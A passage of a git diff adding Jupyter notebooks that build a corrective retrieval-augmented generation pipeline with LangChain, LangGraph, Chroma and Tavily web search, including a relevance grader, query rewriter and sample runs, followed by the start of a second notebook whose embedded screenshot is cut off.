use query re-writing to optimize the query for web search.\n", + "\n", + "![Screenshot 2024-04-01 at 9.28.30 AM.png](attachment:683fae34-980f-43f0-a9c2-9894bebd9157.png)" + ] + }, + { + "cell_type": "markdown", + "id": "4931ac25-99f9-4f04-b3d1-4683f7853667", + "metadata": {}, + "source": [ + "## Setup\n", + "\n", + "First, let's download our required packages and set our API keys" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "568c84d6-9df6-4b7b-b50d-476c0a64a04b", + "metadata": {}, + "outputs": [], + "source": [ + "! pip install langchain_community tiktoken langchain-openai langchainhub chromadb langchain langgraph tavily-python" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "74710419-158d-4270-931c-de83db7b580d", + "metadata": {}, + "outputs": [], + "source": [ + "import getpass\n", + "import os\n", + "\n", + "\n", + "def _set_env(key: str):\n", + " if key not in os.environ:\n", + " os.environ[key] = getpass.getpass(f\"{key}:\")\n", + "\n", + "\n", + "_set_env(\"OPENAI_API_KEY\")\n", + "_set_env(\"TAVILY_API_KEY\")" + ] + }, + { + "cell_type": "markdown", + "id": "3adde047", + "metadata": {}, + "source": [ + "
\n", + "

Set up LangSmith for LangGraph development

\n", + "

\n", + " Sign up for LangSmith to quickly spot issues and improve the performance of your LangGraph projects. LangSmith lets you use trace data to debug, test, and monitor your LLM apps built with LangGraph — read more about how to get started here. \n", + "

\n", + "
" + ] + }, + { + "cell_type": "markdown", + "id": "a21f32d2-92ce-4995-b309-99347bafe3be", + "metadata": {}, + "source": [ + "## Create Index\n", + " \n", + "Let's index 3 blog posts." + ] + }, + { + "cell_type": "code", + "execution_count": 1, + "id": "3a566a30-cf0e-4330-ad4d-9bf994bdfa86", + "metadata": {}, + "outputs": [], + "source": [ + "from langchain.text_splitter import RecursiveCharacterTextSplitter\n", + "from langchain_community.document_loaders import WebBaseLoader\n", + "from langchain_community.vectorstores import Chroma\n", + "from langchain_openai import OpenAIEmbeddings\n", + "\n", + "urls = [\n", + " \"https://lilianweng.github.io/posts/2023-06-23-agent/\",\n", + " \"https://lilianweng.github.io/posts/2023-03-15-prompt-engineering/\",\n", + " \"https://lilianweng.github.io/posts/2023-10-25-adv-attack-llm/\",\n", + "]\n", + "\n", + "docs = [WebBaseLoader(url).load() for url in urls]\n", + "docs_list = [item for sublist in docs for item in sublist]\n", + "\n", + "text_splitter = RecursiveCharacterTextSplitter.from_tiktoken_encoder(\n", + " chunk_size=250, chunk_overlap=0\n", + ")\n", + "doc_splits = text_splitter.split_documents(docs_list)\n", + "\n", + "# Add to vectorDB\n", + "vectorstore = Chroma.from_documents(\n", + " documents=doc_splits,\n", + " collection_name=\"rag-chroma\",\n", + " embedding=OpenAIEmbeddings(),\n", + ")\n", + "retriever = vectorstore.as_retriever()" + ] + }, + { + "cell_type": "markdown", + "id": "6fca2db8-8d68-42b0-981d-4be5ccdbe293", + "metadata": {}, + "source": [ + "## LLMs" + ] + }, + { + "cell_type": "code", + "execution_count": 5, + "id": "7ece414c-2df5-4ffd-aa82-550a65775261", + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "binary_score='yes'\n" + ] + } + ], + "source": [ + "### Retrieval Grader\n", + "\n", + "from langchain_core.prompts import ChatPromptTemplate\n", + "from langchain_core.pydantic_v1 import BaseModel, Field\n", + "from langchain_openai import ChatOpenAI\n", + "\n", + "\n", + "# Data model\n", + "class GradeDocuments(BaseModel):\n", + " \"\"\"Binary score for relevance check on retrieved documents.\"\"\"\n", + "\n", + " binary_score: str = Field(\n", + " description=\"Documents are relevant to the question, 'yes' or 'no'\"\n", + " )\n", + "\n", + "\n", + "# LLM with function call\n", + "llm = ChatOpenAI(model=\"gpt-4o-mini\", temperature=0)\n", + "structured_llm_grader = llm.with_structured_output(GradeDocuments)\n", + "\n", + "# Prompt\n", + "system = \"\"\"You are a grader assessing relevance of a retrieved document to a user question. \\n \n", + " If the document contains keyword(s) or semantic meaning related to the question, grade it as relevant. \\n\n", + " Give a binary score 'yes' or 'no' score to indicate whether the document is relevant to the question.\"\"\"\n", + "grade_prompt = ChatPromptTemplate.from_messages(\n", + " [\n", + " (\"system\", system),\n", + " (\"human\", \"Retrieved document: \\n\\n {document} \\n\\n User question: {question}\"),\n", + " ]\n", + ")\n", + "\n", + "retrieval_grader = grade_prompt | structured_llm_grader\n", + "question = \"agent memory\"\n", + "docs = retriever.get_relevant_documents(question)\n", + "doc_txt = docs[1].page_content\n", + "print(retrieval_grader.invoke({\"question\": question, \"document\": doc_txt}))" + ] + }, + { + "cell_type": "code", + "execution_count": 6, + "id": "a207c85f-e414-46b7-8999-4c0ead1493da", + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "The design of generative agents combines LLM with memory, planning, and reflection mechanisms to enable agents to behave conditioned on past experience. Memory stream is a long-term memory module that records a comprehensive list of agents' experience in natural language. Short-term memory is utilized for in-context learning, while long-term memory allows agents to retain and recall information over extended periods.\n" + ] + } + ], + "source": [ + "### Generate\n", + "\n", + "from langchain import hub\n", + "from langchain_core.output_parsers import StrOutputParser\n", + "\n", + "# Prompt\n", + "prompt = hub.pull(\"rlm/rag-prompt\")\n", + "\n", + "# LLM\n", + "llm = ChatOpenAI(model_name=\"gpt-3.5-turbo\", temperature=0)\n", + "\n", + "\n", + "# Post-processing\n", + "def format_docs(docs):\n", + " return \"\\n\\n\".join(doc.page_content for doc in docs)\n", + "\n", + "\n", + "# Chain\n", + "rag_chain = prompt | llm | StrOutputParser()\n", + "\n", + "# Run\n", + "generation = rag_chain.invoke({\"context\": docs, \"question\": question})\n", + "print(generation)" + ] + }, + { + "cell_type": "code", + "execution_count": 7, + "id": "30d0a69b-9087-4f85-af26-cab55b567872", + "metadata": {}, + "outputs": [ + { + "data": { + "text/plain": [ + "'What is the role of memory in artificial intelligence agents?'" + ] + }, + "execution_count": 7, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "### Question Re-writer\n", + "\n", + "# LLM\n", + "llm = ChatOpenAI(model=\"gpt-3.5-turbo-0125\", temperature=0)\n", + "\n", + "# Prompt\n", + "system = \"\"\"You a question re-writer that converts an input question to a better version that is optimized \\n \n", + " for web search. Look at the input and try to reason about the underlying semantic intent / meaning.\"\"\"\n", + "re_write_prompt = ChatPromptTemplate.from_messages(\n", + " [\n", + " (\"system\", system),\n", + " (\n", + " \"human\",\n", + " \"Here is the initial question: \\n\\n {question} \\n Formulate an improved question.\",\n", + " ),\n", + " ]\n", + ")\n", + "\n", + "question_rewriter = re_write_prompt | llm | StrOutputParser()\n", + "question_rewriter.invoke({\"question\": question})" + ] + }, + { + "cell_type": "markdown", + "id": "e4538467-4a15-4733-b93c-2b79d4d6bf25", + "metadata": {}, + "source": [ + "## Web Search Tool" + ] + }, + { + "cell_type": "code", + "execution_count": 38, + "id": "46d51b53-54a9-4e0a-9f14-e39998f5b340", + "metadata": {}, + "outputs": [], + "source": [ + "### Search\n", + "\n", + "from langchain_community.tools.tavily_search import TavilySearchResults\n", + "\n", + "web_search_tool = TavilySearchResults(k=3)" + ] + }, + { + "cell_type": "markdown", + "id": "87194a1b-535a-4593-ab95-5736fae176d1", + "metadata": {}, + "source": [ + "## Create Graph \n", + "\n", + "Now let's create our graph that will use CRAG\n", + "\n", + "### Define Graph State" + ] + }, + { + "cell_type": "code", + "execution_count": 39, + "id": "94b3945f-ef0f-458d-a443-f763903550b0", + "metadata": {}, + "outputs": [], + "source": [ + "from typing import List\n", + "\n", + "from typing_extensions import TypedDict\n", + "\n", + "\n", + "class GraphState(TypedDict):\n", + " \"\"\"\n", + " Represents the state of our graph.\n", + "\n", + " Attributes:\n", + " question: question\n", + " generation: LLM generation\n", + " web_search: whether to add search\n", + " documents: list of documents\n", + " \"\"\"\n", + "\n", + " question: str\n", + " generation: str\n", + " web_search: str\n", + " documents: List[str]" + ] + }, + { + "cell_type": "code", + "execution_count": 40, + "id": "efd639c5-82e2-45e6-a94a-6a4039646ef5", + "metadata": {}, + "outputs": [], + "source": [ + "from langchain.schema import Document\n", + "\n", + "\n", + "def retrieve(state):\n", + " \"\"\"\n", + " Retrieve documents\n", + "\n", + " Args:\n", + " state (dict): The current graph state\n", + "\n", + " Returns:\n", + " state (dict): New key added to state, documents, that contains retrieved documents\n", + " \"\"\"\n", + " print(\"---RETRIEVE---\")\n", + " question = state[\"question\"]\n", + "\n", + " # Retrieval\n", + " documents = retriever.get_relevant_documents(question)\n", + " return {\"documents\": documents, \"question\": question}\n", + "\n", + "\n", + "def generate(state):\n", + " \"\"\"\n", + " Generate answer\n", + "\n", + " Args:\n", + " state (dict): The current graph state\n", + "\n", + " Returns:\n", + " state (dict): New key added to state, generation, that contains LLM generation\n", + " \"\"\"\n", + " print(\"---GENERATE---\")\n", + " question = state[\"question\"]\n", + " documents = state[\"documents\"]\n", + "\n", + " # RAG generation\n", + " generation = rag_chain.invoke({\"context\": documents, \"question\": question})\n", + " return {\"documents\": documents, \"question\": question, \"generation\": generation}\n", + "\n", + "\n", + "def grade_documents(state):\n", + " \"\"\"\n", + " Determines whether the retrieved documents are relevant to the question.\n", + "\n", + " Args:\n", + " state (dict): The current graph state\n", + "\n", + " Returns:\n", + " state (dict): Updates documents key with only filtered relevant documents\n", + " \"\"\"\n", + "\n", + " print(\"---CHECK DOCUMENT RELEVANCE TO QUESTION---\")\n", + " question = state[\"question\"]\n", + " documents = state[\"documents\"]\n", + "\n", + " # Score each doc\n", + " filtered_docs = []\n", + " web_search = \"No\"\n", + " for d in documents:\n", + " score = retrieval_grader.invoke(\n", + " {\"question\": question, \"document\": d.page_content}\n", + " )\n", + " grade = score.binary_score\n", + " if grade == \"yes\":\n", + " print(\"---GRADE: DOCUMENT RELEVANT---\")\n", + " filtered_docs.append(d)\n", + " else:\n", + " print(\"---GRADE: DOCUMENT NOT RELEVANT---\")\n", + " web_search = \"Yes\"\n", + " continue\n", + " return {\"documents\": filtered_docs, \"question\": question, \"web_search\": web_search}\n", + "\n", + "\n", + "def transform_query(state):\n", + " \"\"\"\n", + " Transform the query to produce a better question.\n", + "\n", + " Args:\n", + " state (dict): The current graph state\n", + "\n", + " Returns:\n", + " state (dict): Updates question key with a re-phrased question\n", + " \"\"\"\n", + "\n", + " print(\"---TRANSFORM QUERY---\")\n", + " question = state[\"question\"]\n", + " documents = state[\"documents\"]\n", + "\n", + " # Re-write question\n", + " better_question = question_rewriter.invoke({\"question\": question})\n", + " return {\"documents\": documents, \"question\": better_question}\n", + "\n", + "\n", + "def web_search(state):\n", + " \"\"\"\n", + " Web search based on the re-phrased question.\n", + "\n", + " Args:\n", + " state (dict): The current graph state\n", + "\n", + " Returns:\n", + " state (dict): Updates documents key with appended web results\n", + " \"\"\"\n", + "\n", + " print(\"---WEB SEARCH---\")\n", + " question = state[\"question\"]\n", + " documents = state[\"documents\"]\n", + "\n", + " # Web search\n", + " docs = web_search_tool.invoke({\"query\": question})\n", + " web_results = \"\\n\".join([d[\"content\"] for d in docs])\n", + " web_results = Document(page_content=web_results)\n", + " documents.append(web_results)\n", + "\n", + " return {\"documents\": documents, \"question\": question}\n", + "\n", + "\n", + "### Edges\n", + "\n", + "\n", + "def decide_to_generate(state):\n", + " \"\"\"\n", + " Determines whether to generate an answer, or re-generate a question.\n", + "\n", + " Args:\n", + " state (dict): The current graph state\n", + "\n", + " Returns:\n", + " str: Binary decision for next node to call\n", + " \"\"\"\n", + "\n", + " print(\"---ASSESS GRADED DOCUMENTS---\")\n", + " state[\"question\"]\n", + " web_search = state[\"web_search\"]\n", + " state[\"documents\"]\n", + "\n", + " if web_search == \"Yes\":\n", + " # All documents have been filtered check_relevance\n", + " # We will re-generate a new query\n", + " print(\n", + " \"---DECISION: ALL DOCUMENTS ARE NOT RELEVANT TO QUESTION, TRANSFORM QUERY---\"\n", + " )\n", + " return \"transform_query\"\n", + " else:\n", + " # We have relevant documents, so generate answer\n", + " print(\"---DECISION: GENERATE---\")\n", + " return \"generate\"" + ] + }, + { + "cell_type": "markdown", + "id": "fa076e90-7132-4fcf-8507-db5990314c4f", + "metadata": {}, + "source": [ + "### Compile Graph\n", + "\n", + "The just follows the flow we outlined in the figure above." + ] + }, + { + "cell_type": "code", + "execution_count": 41, + "id": "dedae17a-98c6-474d-90a7-9234b7c8cea0", + "metadata": {}, + "outputs": [], + "source": [ + "from langgraph.graph import END, StateGraph, START\n", + "\n", + "workflow = StateGraph(GraphState)\n", + "\n", + "# Define the nodes\n", + "workflow.add_node(\"retrieve\", retrieve) # retrieve\n", + "workflow.add_node(\"grade_documents\", grade_documents) # grade documents\n", + "workflow.add_node(\"generate\", generate) # generate\n", + "workflow.add_node(\"transform_query\", transform_query) # transform_query\n", + "workflow.add_node(\"web_search_node\", web_search) # web search\n", + "\n", + "# Build graph\n", + "workflow.add_edge(START, \"retrieve\")\n", + "workflow.add_edge(\"retrieve\", \"grade_documents\")\n", + "workflow.add_conditional_edges(\n", + " \"grade_documents\",\n", + " decide_to_generate,\n", + " {\n", + " \"transform_query\": \"transform_query\",\n", + " \"generate\": \"generate\",\n", + " },\n", + ")\n", + "workflow.add_edge(\"transform_query\", \"web_search_node\")\n", + "workflow.add_edge(\"web_search_node\", \"generate\")\n", + "workflow.add_edge(\"generate\", END)\n", + "\n", + "# Compile\n", + "app = workflow.compile()" + ] + }, + { + "cell_type": "markdown", + "id": "27ba16a8", + "metadata": {}, + "source": [ + "## Use the graph" + ] + }, + { + "cell_type": "code", + "execution_count": 42, + "id": "f5b7c2fe-1fc7-4b76-bf93-ba701a40aa6b", + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "---RETRIEVE---\n", + "\"Node 'retrieve':\"\n", + "'\\n---\\n'\n", + "---CHECK DOCUMENT RELEVANCE TO QUESTION---\n", + "---GRADE: DOCUMENT NOT RELEVANT---\n", + "---GRADE: DOCUMENT NOT RELEVANT---\n", + "---GRADE: DOCUMENT RELEVANT---\n", + "---GRADE: DOCUMENT RELEVANT---\n", + "\"Node 'grade_documents':\"\n", + "'\\n---\\n'\n", + "---ASSESS GRADED DOCUMENTS---\n", + "---DECISION: ALL DOCUMENTS ARE NOT RELEVANT TO QUESTION, TRANSFORM QUERY---\n", + "---TRANSFORM QUERY---\n", + "\"Node 'transform_query':\"\n", + "'\\n---\\n'\n", + "---WEB SEARCH---\n", + "\"Node 'web_search_node':\"\n", + "'\\n---\\n'\n", + "---GENERATE---\n", + "\"Node 'generate':\"\n", + "'\\n---\\n'\n", + "\"Node '__end__':\"\n", + "'\\n---\\n'\n", + "('Agents possess short-term memory, which is utilized for in-context learning, '\n", + " 'and long-term memory, allowing them to retain and recall vast amounts of '\n", + " 'information over extended periods. Some experts also classify working memory '\n", + " 'as a distinct type, although it can be considered a part of short-term '\n", + " 'memory in many cases.')\n" + ] + } + ], + "source": [ + "from pprint import pprint\n", + "\n", + "# Run\n", + "inputs = {\"question\": \"What are the types of agent memory?\"}\n", + "for output in app.stream(inputs):\n", + " for key, value in output.items():\n", + " # Node\n", + " pprint(f\"Node '{key}':\")\n", + " # Optional: print full state at each node\n", + " # pprint.pprint(value[\"keys\"], indent=2, width=80, depth=None)\n", + " pprint(\"\\n---\\n\")\n", + "\n", + "# Final generation\n", + "pprint(value[\"generation\"])" + ] + }, + { + "cell_type": "code", + "execution_count": 43, + "id": "41ea1108-f385-4774-962d-db157922e231", + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "---RETRIEVE---\n", + "\"Node 'retrieve':\"\n", + "'\\n---\\n'\n", + "---CHECK DOCUMENT RELEVANCE TO QUESTION---\n", + "---GRADE: DOCUMENT NOT RELEVANT---\n", + "---GRADE: DOCUMENT NOT RELEVANT---\n", + "---GRADE: DOCUMENT NOT RELEVANT---\n", + "---GRADE: DOCUMENT RELEVANT---\n", + "\"Node 'grade_documents':\"\n", + "'\\n---\\n'\n", + "---ASSESS GRADED DOCUMENTS---\n", + "---DECISION: ALL DOCUMENTS ARE NOT RELEVANT TO QUESTION, TRANSFORM QUERY---\n", + "---TRANSFORM QUERY---\n", + "\"Node 'transform_query':\"\n", + "'\\n---\\n'\n", + "---WEB SEARCH---\n", + "\"Node 'web_search_node':\"\n", + "'\\n---\\n'\n", + "---GENERATE---\n", + "\"Node 'generate':\"\n", + "'\\n---\\n'\n", + "\"Node '__end__':\"\n", + "'\\n---\\n'\n", + "('The AlphaCodium paper functions by proposing a code-oriented iterative flow '\n", + " 'that involves repeatedly running and fixing generated code against '\n", + " 'input-output tests. Its key mechanisms include generating additional data '\n", + " 'like problem reflection and test reasoning to aid the iterative process, as '\n", + " 'well as enriching the code generation process. AlphaCodium aims to improve '\n", + " 'the performance of Large Language Models on code problems by following a '\n", + " 'test-based, multi-stage approach.')\n" + ] + } + ], + "source": [ + "from pprint import pprint\n", + "\n", + "# Run\n", + "inputs = {\"question\": \"How does the AlphaCodium paper work?\"}\n", + "for output in app.stream(inputs):\n", + " for key, value in output.items():\n", + " # Node\n", + " pprint(f\"Node '{key}':\")\n", + " # Optional: print full state at each node\n", + " # pprint.pprint(value[\"keys\"], indent=2, width=80, depth=None)\n", + " pprint(\"\\n---\\n\")\n", + "\n", + "# Final generation\n", + "pprint(value[\"generation\"])" + ] + }, + { + "cell_type": "markdown", + "id": "a7e44593-1959-4abf-8405-5e23aa9398f5", + "metadata": {}, + "source": [ + "LangSmith Traces - \n", + " \n", + "* https://smith.langchain.com/public/f6b1716c-e842-4282-9112-1026b93e246b/r\n", + "\n", + "* https://smith.langchain.com/public/497c8ed9-d9e2-429e-8ada-e64de3ec26c9/r" + ] + } + ], + "metadata": { + "kernelspec": { + "display_name": "Python 3 (ipykernel)", + "language": "python", + "name": "python3" + }, + "language_info": { + "codemirror_mode": { + "name": "ipython", + "version": 3 + }, + "file_extension": ".py", + "mimetype": "text/x-python", + "name": "python", + "nbconvert_exporter": "python", + "pygments_lexer": "ipython3", + "version": "3.11.8" + } + }, + "nbformat": 4, + "nbformat_minor": 5 +} diff --git a/examples/rag/langgraph_crag_local.ipynb b/examples/rag/langgraph_crag_local.ipynb new file mode 100644 index 0000000..9ace478 --- /dev/null +++ b/examples/rag/langgraph_crag_local.ipynb @@ -0,0 +1,861 @@ +{ + "cells": [ + { + "cell_type": "markdown", + "id": "ac7db067", + "metadata": {}, + "source": [ + "This directory is retained purely for archival purposes and is no longer updated. Please see the newly [consolidated LangChain documentation](https://docs.langchain.com/oss/python/langgraph/overview) for the most current information and resources." + ] + }, + { + "attachments": { + "b77a7d3b-b28a-4dcf-9f1a-861f2f2c5f6c.png": { + "image/png": "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eGlmOlBpeGVsWERpbWVuc2lvbj45ODg8L2V4aWY6UGl4ZWxYRGltZW5zaW9uPgogICAgICAgICA8ZXhpZjpVc2VyQ29tbWVudD5TY3JlZW5zaG90PC9leGlmOlVzZXJDb21tZW50PgogICAgICA8L3JkZjpEZXNjcmlwdGlvbj4KICAgPC9yZGY6UkRGPgo8L3g6eG1wbWV0YT4Kx3kmLgAAQABJREFUeAHsnQd8FVX2xw+QRgglBQiEhASSEHrvVURQQcGK2LCXtaz6l3Vd29p2XeuufcUCgiyIICBIEZDee++QAiQhvRfA//3dl3mZ9/ICBPKSl+R3/LzMzJ07d+79zpPkN+fcc2v9oUxoJEACJEACJEACJEACJEACJEACJEAC5Uqgdrm2xsZIgARIgARIgARIgARIgARIgARIgAQ0AQpufhFIgARIgARIgARIgARIgARIgARIwAkEKLidAJVNkgAJkAAJkAAJkAAJkAAJkAAJkAAFN78DJEACJEACJEACJEACJEACJEACJOAEAhTcToDKJkmABEiABEiABEiABEiABEiABEiAgpvfARIgARIgARIgARIgARIgARIgARJwAgEKbidAZZMkQAIkQAIkQAIkQAIkQAIkQAIkQMHN7wAJkAAJkAAJkAAJkAAJkAAJkAAJOIEABbcToLJJEiABEiABEiABEiABEiABEiABEqDg5neABEiABEiABEiABEiABEiABEiABJxAgILbCVDZJAmQAAmQAAmQAAmQAAmQAAmQAAlQcPM7QAIkQAIkQAIkQAIkQAIkQAIkQAJOIEDB7QSobJIESIAESIAESIAESIAESIAESIAEKLj5HSABEiABEiABEiABEiABEiABEiABJxCg4HYCVDZJAiRAAiRAAiRAAiRAAiRAAiRAAhTc/A6QAAmQAAmQAAmQAAmQAAmQAAmQgBMIUHA7ASqbJAESIAESIAESIAESIAESIAESIAEKbn4HSIAESIAESIAESIAESIAESIAESMAJBCi4nQCVTZIACZAACZAACZAACZAACZAACZAABTe/AyRAAiRAAiRAAiRAAiRAAiRAAiTgBAIU3E6AyiZJgARIgARIgARIgARIgARIgARIgIKb3wESIAESIAESIAESIAESIAESIAEScAIBCm4nQGW